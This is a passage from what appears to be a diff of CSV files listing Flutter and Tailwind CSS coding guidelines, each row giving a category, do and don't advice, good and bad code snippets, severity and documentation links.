47,Testing,Use integration tests,Full app testing,integration_test package,Manual testing only,IntegrationTestWidgetsFlutterBinding,Manual E2E testing,Medium,
|
||||
48,Testing,Mock dependencies,Isolate tests,Mockito or mocktail,Real dependencies in tests,when(mock.method()).thenReturn(),Real API calls in tests,Medium,
|
||||
49,Platform,Use Platform checks,Platform-specific code,Platform.isIOS Platform.isAndroid,Same code for all platforms,if (Platform.isIOS) {},Hardcoded iOS behavior,Medium,
|
||||
50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web checks,Platform for web,if (kIsWeb) {},Platform.isWeb (doesn't exist),Medium,
|
||||
51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implementations,cached_network_image,Custom image cache,Medium,https://pub.dev/
|
||||
52,Packages,Check package quality,Quality before adding,Pub points and popularity,Any package without review,100+ pub points,Unmaintained packages,Medium,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends StatelessWidget,class MyWidget extends StatefulWidget (static),Medium,https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html
|
||||
2,Widgets,Keep widgets small,Single responsibility principle,Extract widgets into smaller pieces,Large build methods,Column(children: [Header() Content()]),500+ line build method,Medium,
|
||||
3,Widgets,Use const constructors,Compile-time constants for performance,const MyWidget() when possible,Non-const for static widgets,const Text('Hello'),Text('Hello') for literals,High,https://dart.dev/guides/language/language-tour#constant-constructors
|
||||
4,Widgets,Prefer composition over inheritance,Combine widgets using children,Compose widgets,Extend widget classes,Container(child: MyContent()),class MyContainer extends Container,Medium,
|
||||
5,State,Use setState correctly,Minimal state in StatefulWidget,setState for UI state changes,setState for business logic,setState(() { _counter++; }),Complex logic in setState,Medium,https://api.flutter.dev/flutter/widgets/State/setState.html
|
||||
6,State,Avoid setState in build,Never call setState during build,setState in callbacks only,setState in build method,onPressed: () => setState(() {}),build() { setState(); },High,
|
||||
7,State,Use state management for complex apps,Provider Riverpod BLoC,State management for shared state,setState for global state,Provider.of<MyState>(context),Global setState calls,Medium,
|
||||
8,State,Prefer Riverpod or Provider,Recommended state solutions,Riverpod for new projects,InheritedWidget manually,ref.watch(myProvider),Custom InheritedWidget,Medium,https://riverpod.dev/
|
||||
9,State,Dispose resources,Clean up controllers and subscriptions,dispose() for cleanup,Memory leaks from subscriptions,@override void dispose() { controller.dispose(); },No dispose implementation,High,
|
||||
10,Layout,Use Column and Row,Basic layout widgets,Column Row for linear layouts,Stack for simple layouts,"Column(children: [Text(), Button()])",Stack for vertical list,Medium,https://api.flutter.dev/flutter/widgets/Column-class.html
|
||||
11,Layout,Use Expanded and Flexible,Control flex behavior,Expanded to fill space,Fixed sizes in flex containers,Expanded(child: Container()),Container(width: 200) in Row,Medium,
|
||||
12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox for gaps,Container for spacing only,SizedBox(height: 16),Container(height: 16),Low,
|
||||
13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive layouts,Fixed sizes for responsive,LayoutBuilder(builder: (context constraints) {}),Container(width: 375),Medium,https://api.flutter.dev/flutter/widgets/LayoutBuilder-class.html
|
||||
14,Layout,Avoid deep nesting,Keep widget tree shallow,Extract deeply nested widgets,10+ levels of nesting,Extract widget to method or class,Column(Row(Column(Row(...)))),Medium,
|
||||
15,Lists,Use ListView.builder,Lazy list building,ListView.builder for long lists,ListView with children for large lists,"ListView.builder(itemCount: 100, itemBuilder: ...)",ListView(children: items.map(...).toList()),High,https://api.flutter.dev/flutter/widgets/ListView-class.html
|
||||
16,Lists,Provide itemExtent when known,Skip measurement,itemExtent for fixed height items,No itemExtent for uniform lists,ListView.builder(itemExtent: 50),ListView.builder without itemExtent,Medium,
|
||||
17,Lists,Use keys for stateful items,Preserve widget state,Key for stateful list items,No key for dynamic lists,ListTile(key: ValueKey(item.id)),ListTile without key,High,
|
||||
18,Lists,Use SliverList for custom scroll,Custom scroll effects,CustomScrollView with Slivers,Nested ListViews,CustomScrollView(slivers: [SliverList()]),ListView inside ListView,Medium,https://api.flutter.dev/flutter/widgets/SliverList-class.html
|
||||
19,Navigation,Use Navigator 2.0 or GoRouter,Declarative routing,go_router for navigation,Navigator.push for complex apps,GoRouter(routes: [...]),Navigator.push everywhere,Medium,https://pub.dev/packages/go_router
|
||||
20,Navigation,Use named routes,Organized navigation,Named routes for clarity,Anonymous routes,Navigator.pushNamed(context '/home'),Navigator.push(context MaterialPageRoute()),Low,
|
||||
21,Navigation,Handle back button (PopScope),Android back behavior and predictive back (Android 14+),Use PopScope widget (WillPopScope is deprecated),Use WillPopScope,"PopScope(canPop: false, onPopInvoked: (didPop) => ...)",WillPopScope(onWillPop: ...),High,https://api.flutter.dev/flutter/widgets/PopScope-class.html
|
||||
22,Navigation,Pass typed arguments,Type-safe route arguments,Typed route arguments,Dynamic arguments,MyRoute(id: '123'),arguments: {'id': '123'},Medium,
|
||||
23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for async,FutureBuilder(future: fetchData()),fetchData().then((d) => setState()),Medium,https://api.flutter.dev/flutter/widgets/FutureBuilder-class.html
|
||||
24,Async,Use StreamBuilder,Stream UI building,StreamBuilder for streams,Manual stream subscription,StreamBuilder(stream: myStream),stream.listen in initState,Medium,https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html
|
||||
25,Async,Handle loading and error states,Complete async UI states,ConnectionState checks,Only success state,if (snapshot.connectionState == ConnectionState.waiting),No loading indicator,High,
|
||||
26,Async,Cancel subscriptions,Clean up stream subscriptions,Cancel in dispose,Memory leaks,subscription.cancel() in dispose,No subscription cleanup,High,
|
||||
27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,Theme.of(context).primaryColor,Color(0xFF123456) everywhere,Medium,https://api.flutter.dev/flutter/material/ThemeData-class.html
|
||||
28,Theming,Use ColorScheme,Material 3 color system,ColorScheme for colors,Individual color properties,colorScheme: ColorScheme.fromSeed(),primaryColor: Colors.blue,Medium,
|
||||
29,Theming,Access theme via context,Dynamic theme access,Theme.of(context),Static theme reference,Theme.of(context).textTheme.bodyLarge,TextStyle(fontSize: 16),Medium,
|
||||
30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialApp,Light theme only,"MaterialApp(theme: light, darkTheme: dark)",MaterialApp(theme: light),Medium,
|
||||
31,Animation,Use implicit animations,Simple animations,AnimatedContainer AnimatedOpacity,Explicit for simple transitions,AnimatedContainer(duration: Duration()),AnimationController for fade,Low,https://api.flutter.dev/flutter/widgets/AnimatedContainer-class.html
|
||||
32,Animation,Use AnimationController for complex,Fine-grained control,AnimationController with Ticker,Implicit for complex sequences,AnimationController(vsync: this),AnimatedContainer for staggered,Medium,
|
||||
33,Animation,Dispose AnimationControllers,Clean up animation resources,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High,
|
||||
34,Animation,Use Hero for transitions,Shared element transitions,Hero for navigation animations,Manual shared element,Hero(tag: 'image' child: Image()),Custom shared element animation,Low,https://api.flutter.dev/flutter/widgets/Hero-class.html
|
||||
35,Forms,Use Form widget,Form validation,Form with GlobalKey,Individual validation,Form(key: _formKey child: ...),TextField without Form,Medium,https://api.flutter.dev/flutter/widgets/Form-class.html
|
||||
36,Forms,Use TextEditingController,Control text input,Controller for text fields,onChanged for all text,final controller = TextEditingController(),onChanged: (v) => setState(),Medium,
|
||||
37,Forms,Validate on submit,Form validation flow,_formKey.currentState!.validate(),Skip validation,if (_formKey.currentState!.validate()),Submit without validation,High,
|
||||
38,Forms,Dispose controllers,Clean up text controllers,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High,
|
||||
39,Performance,Use const widgets,Reduce rebuilds,const for static widgets,No const for literals,const Icon(Icons.add),Icon(Icons.add),High,
|
||||
40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState on parent,Consumer only around changing widget,setState on root widget,High,
|
||||
41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoundary for animations,Full screen repaints,RepaintBoundary(child: AnimatedWidget()),Animation without boundary,Medium,https://api.flutter.dev/flutter/widgets/RepaintBoundary-class.html
|
||||
42,Performance,Profile with DevTools,Measure before optimizing,Flutter DevTools profiling,Guess at performance,DevTools performance tab,Optimize without measuring,Medium,https://docs.flutter.dev/tools/devtools
|
||||
43,Accessibility,Use Semantics widget,Screen reader support,Semantics for accessibility,Missing accessibility info,Semantics(label: 'Submit button'),GestureDetector without semantics,High,https://api.flutter.dev/flutter/widgets/Semantics-class.html
|
||||
44,Accessibility,Support large fonts,MediaQuery text scaling,MediaQuery.textScaleFactor,Fixed font sizes,style: Theme.of(context).textTheme,TextStyle(fontSize: 14),High,
|
||||
45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test accessibility regularly,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High,
|
||||
46,Testing,Use widget tests,Test widget behavior,WidgetTester for UI tests,Unit tests only,testWidgets('...' (tester) async {}),Only test() for UI,Medium,https://docs.flutter.dev/testing
|
||||
47,Testing,Use integration tests,Full app testing,integration_test package,Manual testing only,IntegrationTestWidgetsFlutterBinding,Manual E2E testing,Medium,
|
||||
48,Testing,Mock dependencies,Isolate tests,Mockito or mocktail,Real dependencies in tests,when(mock.method()).thenReturn(),Real API calls in tests,Medium,
|
||||
49,Platform,Use Platform checks,Platform-specific code,Platform.isIOS Platform.isAndroid,Same code for all platforms,if (Platform.isIOS) {},Hardcoded iOS behavior,Medium,
|
||||
50,Platform,Use kIsWeb for web,Web platform detection,kIsWeb for web checks,Platform for web,if (kIsWeb) {},Platform.isWeb (doesn't exist),Medium,
|
||||
51,Packages,Use pub.dev packages,Community packages,Popular maintained packages,Custom implementations,cached_network_image,Custom image cache,Medium,https://pub.dev/
|
||||
52,Packages,Check package quality,Quality before adding,Pub points and popularity,Any package without review,100+ pub points,Unmaintained packages,Medium,
|
||||
|
||||
|
@@ -1,56 +1,56 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyframes for simple effects,animate-pulse,@keyframes pulse {...},Medium,https://tailwindcss.com/docs/animation
|
||||
2,Animation,Limit bounce animations,Continuous bounce is distracting and causes motion sickness,Use animate-bounce sparingly on CTAs only,Multiple bounce animations on page,Single CTA with animate-bounce,5+ elements with animate-bounce,High,
|
||||
3,Animation,Transition duration,Use appropriate transition speeds for UI feedback,duration-150 to duration-300 for UI,duration-1000 or longer for UI elements,transition-all duration-200,transition-all duration-1000,Medium,https://tailwindcss.com/docs/transition-duration
|
||||
4,Animation,Hover transitions,Add smooth transitions on hover state changes,Add transition class with hover states,Instant hover changes without transition,hover:bg-gray-100 transition-colors,hover:bg-gray-100 (no transition),Low,
|
||||
5,Z-Index,Use Tailwind z-* scale,Consistent stacking context with predefined scale,z-0 z-10 z-20 z-30 z-40 z-50,Arbitrary z-index values,z-50 for modals,z-[9999],Medium,https://tailwindcss.com/docs/z-index
|
||||
6,Z-Index,Fixed elements z-index,Fixed navigation and modals need explicit z-index,z-50 for nav z-40 for dropdowns,Relying on DOM order for stacking,fixed top-0 z-50,fixed top-0 (no z-index),High,
|
||||
7,Z-Index,Negative z-index for backgrounds,Use negative z-index for decorative backgrounds,z-[-1] for background elements,Positive z-index for backgrounds,-z-10 for decorative,z-10 for background,Low,
|
||||
8,Layout,Container max-width,Limit content width for readability,max-w-7xl mx-auto for main content,Full-width content on large screens,max-w-7xl mx-auto px-4,w-full (no max-width),Medium,https://tailwindcss.com/docs/container
|
||||
9,Layout,Responsive padding,Adjust padding for different screen sizes,px-4 md:px-6 lg:px-8,Same padding all sizes,px-4 sm:px-6 lg:px-8,px-8 (same all sizes),Medium,
|
||||
10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 gap-8,Margins on individual items,grid gap-6,grid with mb-4 on each item,Medium,https://tailwindcss.com/docs/gap
|
||||
11,Layout,Flexbox alignment,Use flex utilities for alignment,items-center justify-between,Multiple nested wrappers,flex items-center justify-between,Nested divs for alignment,Low,
|
||||
12,Images,Aspect ratio,Maintain consistent image aspect ratios,aspect-video aspect-square,No aspect ratio on containers,aspect-video rounded-lg,No aspect control,Medium,https://tailwindcss.com/docs/aspect-ratio
|
||||
13,Images,Object fit,Control image scaling within containers,object-cover object-contain,Stretched distorted images,object-cover w-full h-full,No object-fit,Medium,https://tailwindcss.com/docs/object-fit
|
||||
14,Images,Lazy loading,Defer loading of off-screen images,loading='lazy' on images,All images eager load,<img loading='lazy'>,<img> without lazy,High,
|
||||
15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Same large image all devices,srcset with multiple sizes,4000px image everywhere,High,
|
||||
16,Typography,Prose plugin,Use @tailwindcss/typography for rich text,prose prose-lg for article content,Custom styles for markdown,prose prose-lg max-w-none,Custom text styling,Medium,https://tailwindcss.com/docs/typography-plugin
|
||||
17,Typography,Line height,Use appropriate line height for readability,leading-relaxed for body text,Default tight line height,leading-relaxed (1.625),leading-none or leading-tight,Medium,https://tailwindcss.com/docs/line-height
|
||||
18,Typography,Font size scale,Use consistent text size scale,text-sm text-base text-lg text-xl,Arbitrary font sizes,text-lg,text-[17px],Low,https://tailwindcss.com/docs/font-size
|
||||
19,Typography,Text truncation,Handle long text gracefully,truncate or line-clamp-*,Overflow breaking layout,line-clamp-2,No overflow handling,Medium,https://tailwindcss.com/docs/text-overflow
|
||||
20,Colors,Opacity utilities,Use color opacity utilities,bg-black/50 text-white/80,Separate opacity class,bg-black/50,bg-black opacity-50,Low,https://tailwindcss.com/docs/background-color
|
||||
21,Colors,Dark mode,Support dark mode with dark: prefix,dark:bg-gray-900 dark:text-white,No dark mode support,dark:bg-gray-900,Only light theme,Medium,https://tailwindcss.com/docs/dark-mode
|
||||
22,Colors,Semantic colors,Use semantic color naming in config,primary secondary danger success,Generic color names in components,bg-primary,bg-blue-500 everywhere,Medium,
|
||||
23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consistently,p-4 m-6 gap-8,Arbitrary pixel values,p-4 (1rem),p-[15px],Low,https://tailwindcss.com/docs/customizing-spacing
|
||||
24,Spacing,Negative margins,Use sparingly for overlapping effects,-mt-4 for overlapping elements,Negative margins for layout fixing,-mt-8 for card overlap,-m-2 to fix spacing issues,Medium,
|
||||
25,Spacing,Space between,Use space-y-* for vertical lists,space-y-4 on flex/grid column,Margin on each child,space-y-4,Each child has mb-4,Low,https://tailwindcss.com/docs/space
|
||||
26,Forms,Focus states,Always show focus indicators,focus:ring-2 focus:ring-blue-500,Remove focus outline,focus:ring-2 focus:ring-offset-2,focus:outline-none (no replacement),High,
|
||||
27,Forms,Input sizing,Consistent input dimensions,h-10 px-3 for inputs,Inconsistent input heights,h-10 w-full px-3,Various heights per input,Medium,
|
||||
28,Forms,Disabled states,Clear disabled styling,disabled:opacity-50 disabled:cursor-not-allowed,No disabled indication,disabled:opacity-50,Same style as enabled,Medium,
|
||||
29,Forms,Placeholder styling,Style placeholder text appropriately,placeholder:text-gray-400,Dark placeholder text,placeholder:text-gray-400,Default dark placeholder,Low,
|
||||
30,Responsive,Mobile-first approach,Start with mobile styles and add breakpoints,Default mobile + md: lg: xl:,Desktop-first approach,text-sm md:text-base,text-base max-md:text-sm,Medium,https://tailwindcss.com/docs/responsive-design
|
||||
31,Responsive,Breakpoint testing,Test at standard breakpoints,320 375 768 1024 1280 1536,Only test on development device,Test all breakpoints,Single device testing,High,
|
||||
32,Responsive,Hidden/shown utilities,Control visibility per breakpoint,hidden md:block,Different content per breakpoint,hidden md:flex,Separate mobile/desktop components,Low,https://tailwindcss.com/docs/display
|
||||
33,Buttons,Button sizing,Consistent button dimensions,px-4 py-2 or px-6 py-3,Inconsistent button sizes,px-4 py-2 text-sm,Various padding per button,Medium,
|
||||
34,Buttons,Touch targets,Minimum 44px touch target on mobile,min-h-[44px] on mobile,Small buttons on mobile,min-h-[44px] min-w-[44px],h-8 w-8 on mobile,High,
|
||||
35,Buttons,Loading states,Show loading feedback,disabled + spinner icon,Clickable during loading,<Button disabled><Spinner/></Button>,Button without loading state,High,
|
||||
36,Buttons,Icon buttons,Accessible icon-only buttons,aria-label on icon buttons,Icon button without label,<button aria-label='Close'><XIcon/></button>,<button><XIcon/></button>,High,
|
||||
37,Cards,Card structure,Consistent card styling,rounded-lg shadow-md p-6,Inconsistent card styles,rounded-2xl shadow-lg p-6,Mixed card styling,Low,
|
||||
38,Cards,Card hover states,Interactive cards should have hover feedback,hover:shadow-lg transition-shadow,No hover on clickable cards,hover:shadow-xl transition-shadow,Static cards that are clickable,Medium,
|
||||
39,Cards,Card spacing,Consistent internal card spacing,space-y-4 for card content,Inconsistent internal spacing,space-y-4 or p-6,Mixed mb-2 mb-4 mb-6,Low,
|
||||
40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hidden labels,Missing context for icons,<span class='sr-only'>Close menu</span>,No label for icon button,High,https://tailwindcss.com/docs/screen-readers
|
||||
41,Accessibility,Focus visible,Show focus only for keyboard users,focus-visible:ring-2,Focus on all interactions,focus-visible:ring-2,focus:ring-2 (shows on click too),Medium,
|
||||
42,Accessibility,Reduced motion,Respect user motion preferences,motion-reduce:animate-none,Ignore motion preferences,motion-reduce:transition-none,No reduced motion support,High,https://tailwindcss.com/docs/hover-focus-and-other-states#prefers-reduced-motion
|
||||
43,Performance,Configure content paths,Tailwind needs to know where classes are used,Use 'content' array in config,Use deprecated 'purge' option (v2),"content: ['./src/**/*.{js,ts,jsx,tsx}']",purge: [...],High,https://tailwindcss.com/docs/content-configuration
|
||||
44,Performance,JIT mode,Use JIT for faster builds and smaller bundles,JIT enabled (default in v3),Full CSS in development,Tailwind v3 defaults,Tailwind v2 without JIT,Medium,
|
||||
45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct utilities in HTML,Heavy @apply usage,class='px-4 py-2 rounded',@apply px-4 py-2 rounded;,Low,https://tailwindcss.com/docs/reusing-styles
|
||||
46,Plugins,Official plugins,Use official Tailwind plugins,@tailwindcss/forms typography aspect-ratio,Custom implementations,@tailwindcss/forms,Custom form reset CSS,Medium,https://tailwindcss.com/docs/plugins
|
||||
47,Plugins,Custom utilities,Create utilities for repeated patterns,Custom utility in config,Repeated arbitrary values,Custom shadow utility,"shadow-[0_4px_20px_rgba(0,0,0,0.1)] everywhere",Medium,
|
||||
48,Layout,Container Queries,Use @container for component-based responsiveness,Use @container and @lg: etc.,Media queries for component internals,@container @lg:grid-cols-2,@media (min-width: ...) inside component,Medium,https://github.com/tailwindlabs/tailwindcss-container-queries
|
||||
49,Interactivity,Group and Peer,Style based on parent/sibling state,group-hover peer-checked,JS for simple state interactions,group-hover:text-blue-500,onMouseEnter={() => setHover(true)},Low,https://tailwindcss.com/docs/hover-focus-and-other-states#styling-based-on-parent-state
|
||||
50,Customization,Arbitrary Values,Use [] for one-off values,w-[350px] for specific needs,Creating config for single use,top-[117px] (if strictly needed),style={{ top: '117px' }},Low,https://tailwindcss.com/docs/adding-custom-styles#using-arbitrary-values
|
||||
51,Colors,Theme color variables,Define colors in Tailwind theme and use directly,bg-primary text-success border-cta,bg-[var(--color-primary)] text-[var(--color-success)],bg-primary,bg-[var(--color-primary)],Medium,https://tailwindcss.com/docs/customizing-colors
|
||||
52,Colors,Use bg-linear-to-* for gradients,Tailwind v4 uses bg-linear-to-* syntax for gradients,bg-linear-to-r bg-linear-to-b,bg-gradient-to-* (deprecated in v4),bg-linear-to-r from-blue-500 to-purple-500,bg-gradient-to-r from-blue-500 to-purple-500,Medium,https://tailwindcss.com/docs/background-image
|
||||
53,Layout,Use shrink-0 shorthand,Shorter class name for flex-shrink-0,shrink-0 shrink,flex-shrink-0 flex-shrink,shrink-0,flex-shrink-0,Low,https://tailwindcss.com/docs/flex-shrink
|
||||
54,Layout,Use size-* for square dimensions,Single utility for equal width and height,size-4 size-8 size-12,Separate h-* w-* for squares,size-6,h-6 w-6,Low,https://tailwindcss.com/docs/size
|
||||
55,Images,SVG explicit dimensions,Add width/height attributes to SVGs to prevent layout shift before CSS loads,<svg class='size-6' width='24' height='24'>,SVG without explicit dimensions,<svg class='size-6' width='24' height='24'>,<svg class='size-6'>,High,
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Animation,Use Tailwind animate utilities,Built-in animations are optimized and respect reduced-motion,Use animate-pulse animate-spin animate-ping,Custom @keyframes for simple effects,animate-pulse,@keyframes pulse {...},Medium,https://tailwindcss.com/docs/animation
|
||||
2,Animation,Limit bounce animations,Continuous bounce is distracting and causes motion sickness,Use animate-bounce sparingly on CTAs only,Multiple bounce animations on page,Single CTA with animate-bounce,5+ elements with animate-bounce,High,
|
||||
3,Animation,Transition duration,Use appropriate transition speeds for UI feedback,duration-150 to duration-300 for UI,duration-1000 or longer for UI elements,transition-all duration-200,transition-all duration-1000,Medium,https://tailwindcss.com/docs/transition-duration
|
||||
4,Animation,Hover transitions,Add smooth transitions on hover state changes,Add transition class with hover states,Instant hover changes without transition,hover:bg-gray-100 transition-colors,hover:bg-gray-100 (no transition),Low,
|
||||
5,Z-Index,Use Tailwind z-* scale,Consistent stacking context with predefined scale,z-0 z-10 z-20 z-30 z-40 z-50,Arbitrary z-index values,z-50 for modals,z-[9999],Medium,https://tailwindcss.com/docs/z-index
|
||||
6,Z-Index,Fixed elements z-index,Fixed navigation and modals need explicit z-index,z-50 for nav z-40 for dropdowns,Relying on DOM order for stacking,fixed top-0 z-50,fixed top-0 (no z-index),High,
|
||||
7,Z-Index,Negative z-index for backgrounds,Use negative z-index for decorative backgrounds,z-[-1] for background elements,Positive z-index for backgrounds,-z-10 for decorative,z-10 for background,Low,
|
||||
8,Layout,Container max-width,Limit content width for readability,max-w-7xl mx-auto for main content,Full-width content on large screens,max-w-7xl mx-auto px-4,w-full (no max-width),Medium,https://tailwindcss.com/docs/container
|
||||
9,Layout,Responsive padding,Adjust padding for different screen sizes,px-4 md:px-6 lg:px-8,Same padding all sizes,px-4 sm:px-6 lg:px-8,px-8 (same all sizes),Medium,
|
||||
10,Layout,Grid gaps,Use consistent gap utilities for spacing,gap-4 gap-6 gap-8,Margins on individual items,grid gap-6,grid with mb-4 on each item,Medium,https://tailwindcss.com/docs/gap
|
||||
11,Layout,Flexbox alignment,Use flex utilities for alignment,items-center justify-between,Multiple nested wrappers,flex items-center justify-between,Nested divs for alignment,Low,
|
||||
12,Images,Aspect ratio,Maintain consistent image aspect ratios,aspect-video aspect-square,No aspect ratio on containers,aspect-video rounded-lg,No aspect control,Medium,https://tailwindcss.com/docs/aspect-ratio
|
||||
13,Images,Object fit,Control image scaling within containers,object-cover object-contain,Stretched distorted images,object-cover w-full h-full,No object-fit,Medium,https://tailwindcss.com/docs/object-fit
|
||||
14,Images,Lazy loading,Defer loading of off-screen images,loading='lazy' on images,All images eager load,<img loading='lazy'>,<img> without lazy,High,
|
||||
15,Images,Responsive images,Serve appropriate image sizes,srcset and sizes attributes,Same large image all devices,srcset with multiple sizes,4000px image everywhere,High,
|
||||
16,Typography,Prose plugin,Use @tailwindcss/typography for rich text,prose prose-lg for article content,Custom styles for markdown,prose prose-lg max-w-none,Custom text styling,Medium,https://tailwindcss.com/docs/typography-plugin
|
||||
17,Typography,Line height,Use appropriate line height for readability,leading-relaxed for body text,Default tight line height,leading-relaxed (1.625),leading-none or leading-tight,Medium,https://tailwindcss.com/docs/line-height
|
||||
18,Typography,Font size scale,Use consistent text size scale,text-sm text-base text-lg text-xl,Arbitrary font sizes,text-lg,text-[17px],Low,https://tailwindcss.com/docs/font-size
|
||||
19,Typography,Text truncation,Handle long text gracefully,truncate or line-clamp-*,Overflow breaking layout,line-clamp-2,No overflow handling,Medium,https://tailwindcss.com/docs/text-overflow
|
||||
20,Colors,Opacity utilities,Use color opacity utilities,bg-black/50 text-white/80,Separate opacity class,bg-black/50,bg-black opacity-50,Low,https://tailwindcss.com/docs/background-color
|
||||
21,Colors,Dark mode,Support dark mode with dark: prefix,dark:bg-gray-900 dark:text-white,No dark mode support,dark:bg-gray-900,Only light theme,Medium,https://tailwindcss.com/docs/dark-mode
|
||||
22,Colors,Semantic colors,Use semantic color naming in config,primary secondary danger success,Generic color names in components,bg-primary,bg-blue-500 everywhere,Medium,
|
||||
23,Spacing,Consistent spacing scale,Use Tailwind spacing scale consistently,p-4 m-6 gap-8,Arbitrary pixel values,p-4 (1rem),p-[15px],Low,https://tailwindcss.com/docs/customizing-spacing
|
||||
24,Spacing,Negative margins,Use sparingly for overlapping effects,-mt-4 for overlapping elements,Negative margins for layout fixing,-mt-8 for card overlap,-m-2 to fix spacing issues,Medium,
|
||||
25,Spacing,Space between,Use space-y-* for vertical lists,space-y-4 on flex/grid column,Margin on each child,space-y-4,Each child has mb-4,Low,https://tailwindcss.com/docs/space
|
||||
26,Forms,Focus states,Always show focus indicators,focus:ring-2 focus:ring-blue-500,Remove focus outline,focus:ring-2 focus:ring-offset-2,focus:outline-none (no replacement),High,
|
||||
27,Forms,Input sizing,Consistent input dimensions,h-10 px-3 for inputs,Inconsistent input heights,h-10 w-full px-3,Various heights per input,Medium,
|
||||
28,Forms,Disabled states,Clear disabled styling,disabled:opacity-50 disabled:cursor-not-allowed,No disabled indication,disabled:opacity-50,Same style as enabled,Medium,
|
||||
29,Forms,Placeholder styling,Style placeholder text appropriately,placeholder:text-gray-400,Dark placeholder text,placeholder:text-gray-400,Default dark placeholder,Low,
|
||||
30,Responsive,Mobile-first approach,Start with mobile styles and add breakpoints,Default mobile + md: lg: xl:,Desktop-first approach,text-sm md:text-base,text-base max-md:text-sm,Medium,https://tailwindcss.com/docs/responsive-design
|
||||
31,Responsive,Breakpoint testing,Test at standard breakpoints,320 375 768 1024 1280 1536,Only test on development device,Test all breakpoints,Single device testing,High,
|
||||
32,Responsive,Hidden/shown utilities,Control visibility per breakpoint,hidden md:block,Different content per breakpoint,hidden md:flex,Separate mobile/desktop components,Low,https://tailwindcss.com/docs/display
|
||||
33,Buttons,Button sizing,Consistent button dimensions,px-4 py-2 or px-6 py-3,Inconsistent button sizes,px-4 py-2 text-sm,Various padding per button,Medium,
|
||||
34,Buttons,Touch targets,Minimum 44px touch target on mobile,min-h-[44px] on mobile,Small buttons on mobile,min-h-[44px] min-w-[44px],h-8 w-8 on mobile,High,
|
||||
35,Buttons,Loading states,Show loading feedback,disabled + spinner icon,Clickable during loading,<Button disabled><Spinner/></Button>,Button without loading state,High,
|
||||
36,Buttons,Icon buttons,Accessible icon-only buttons,aria-label on icon buttons,Icon button without label,<button aria-label='Close'><XIcon/></button>,<button><XIcon/></button>,High,
|
||||
37,Cards,Card structure,Consistent card styling,rounded-lg shadow-md p-6,Inconsistent card styles,rounded-2xl shadow-lg p-6,Mixed card styling,Low,
|
||||
38,Cards,Card hover states,Interactive cards should have hover feedback,hover:shadow-lg transition-shadow,No hover on clickable cards,hover:shadow-xl transition-shadow,Static cards that are clickable,Medium,
|
||||
39,Cards,Card spacing,Consistent internal card spacing,space-y-4 for card content,Inconsistent internal spacing,space-y-4 or p-6,Mixed mb-2 mb-4 mb-6,Low,
|
||||
40,Accessibility,Screen reader text,Provide context for screen readers,sr-only for hidden labels,Missing context for icons,<span class='sr-only'>Close menu</span>,No label for icon button,High,https://tailwindcss.com/docs/screen-readers
|
||||
41,Accessibility,Focus visible,Show focus only for keyboard users,focus-visible:ring-2,Focus on all interactions,focus-visible:ring-2,focus:ring-2 (shows on click too),Medium,
|
||||
42,Accessibility,Reduced motion,Respect user motion preferences,motion-reduce:animate-none,Ignore motion preferences,motion-reduce:transition-none,No reduced motion support,High,https://tailwindcss.com/docs/hover-focus-and-other-states#prefers-reduced-motion
|
||||
43,Performance,Configure content paths,Tailwind needs to know where classes are used,Use 'content' array in config,Use deprecated 'purge' option (v2),"content: ['./src/**/*.{js,ts,jsx,tsx}']",purge: [...],High,https://tailwindcss.com/docs/content-configuration
|
||||
44,Performance,JIT mode,Use JIT for faster builds and smaller bundles,JIT enabled (default in v3),Full CSS in development,Tailwind v3 defaults,Tailwind v2 without JIT,Medium,
|
||||
45,Performance,Avoid @apply bloat,Use @apply sparingly,Direct utilities in HTML,Heavy @apply usage,class='px-4 py-2 rounded',@apply px-4 py-2 rounded;,Low,https://tailwindcss.com/docs/reusing-styles
|
||||
46,Plugins,Official plugins,Use official Tailwind plugins,@tailwindcss/forms typography aspect-ratio,Custom implementations,@tailwindcss/forms,Custom form reset CSS,Medium,https://tailwindcss.com/docs/plugins
|
||||
47,Plugins,Custom utilities,Create utilities for repeated patterns,Custom utility in config,Repeated arbitrary values,Custom shadow utility,"shadow-[0_4px_20px_rgba(0,0,0,0.1)] everywhere",Medium,
|
||||
48,Layout,Container Queries,Use @container for component-based responsiveness,Use @container and @lg: etc.,Media queries for component internals,@container @lg:grid-cols-2,@media (min-width: ...) inside component,Medium,https://github.com/tailwindlabs/tailwindcss-container-queries
|
||||
49,Interactivity,Group and Peer,Style based on parent/sibling state,group-hover peer-checked,JS for simple state interactions,group-hover:text-blue-500,onMouseEnter={() => setHover(true)},Low,https://tailwindcss.com/docs/hover-focus-and-other-states#styling-based-on-parent-state
|
||||
50,Customization,Arbitrary Values,Use [] for one-off values,w-[350px] for specific needs,Creating config for single use,top-[117px] (if strictly needed),style={{ top: '117px' }},Low,https://tailwindcss.com/docs/adding-custom-styles#using-arbitrary-values
|
||||
